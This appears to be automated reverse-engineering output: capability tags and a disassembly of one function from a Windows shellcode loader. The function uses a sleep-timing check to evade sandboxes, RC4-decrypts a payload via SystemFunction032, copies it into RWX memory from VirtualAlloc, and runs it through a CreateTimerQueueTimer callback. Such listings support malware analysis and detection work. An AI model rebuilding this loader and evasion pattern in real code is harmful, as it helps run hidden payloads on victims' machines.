Function at 0x140001280
Capabilities:
Allocate or change rwx memory
Encrypt data using rc4 via systemfunction032
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
sub rsp, 0x70
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x68], rax
xor esi, esi
xor ecx, ecx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x40], rsi
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
lea ecx, [rsi + 5]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__difftime64]
movsd xmm1, qword [0x1400035b8]
comisd xmm1, xmm0
jb 0x1400012ee
lea rcx, str.Exiting_program_due_to_short_execution_time._n
call fcn.140001010
xor eax, eax
jmp 0x1400013db
lea rcx, str.Continuing_program_execution._n
mov qword [rsp + 0x80], rdi
call fcn.140001010
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x40]
call fcn.140001070
test eax, eax
je 0x1400013ce
lea rcx, str._i_Printing_Encrypted_shellcode
call fcn.140001010
mov rbx, qword [rsp + 0x40]
lea rcx, str._i__Bytes_:_0x_p__n
mov rdx, rbx
call fcn.140001010
mov rdi, qword [rsp + 0x50]
lea rcx, str._i__Size__:__ld__n
mov rdx, rdi
call fcn.140001010
mov edx, 8
lea rcx, str._i__DownSize__:__ld__n
call fcn.140001010
lea rcx, [0x1400034f8]
call fcn.140001010
lea rax, [0x140005038]
mov dword [rsp + 0x50], 0x10
lea rcx, str.Advapi32
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x54], 0x10
mov dword [rsp + 0x40], edi
mov dword [rsp + 0x44], edi
mov qword [rsp + 0x48], rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x40]
call rax
test eax, eax
je 0x1400013f6
mov edx, eax
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140001010
mov eax, 0xffffffff
mov rdi, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.1400014d0
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rsi
ret
mov rdx, rbx
lea rcx, str._i__Bytes_:_0x_p__n
call fcn.140001010
mov rdx, rbx
lea rcx, str._i__Pay_:_0x_p_n
call fcn.140001010
mov r9d, 0x40
mov qword [rsp + 0x60], rsi
mov r8d, 0x1000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov rdx, rbx
lea rcx, str._i__Payload_At_:_0x_p__n
call fcn.140001010
lea rcx, str.___Press__Enter__To_Run_CreateTimerQueueTimer_...
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov dword [rsp + 0x30], esi
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x28], esi
xor r9d, r9d
mov r8, rbx
mov dword [rsp + 0x20], esi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateTimerQueueTimer]
test eax, eax
jne 0x140001496
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateTimerQueueTimer_Failed_With_Error_:__d__n
jmp 0x1400013c9
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rcx, str.___Press__Enter__To_Quit_...
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor eax, eax
jmp 0x1400013d3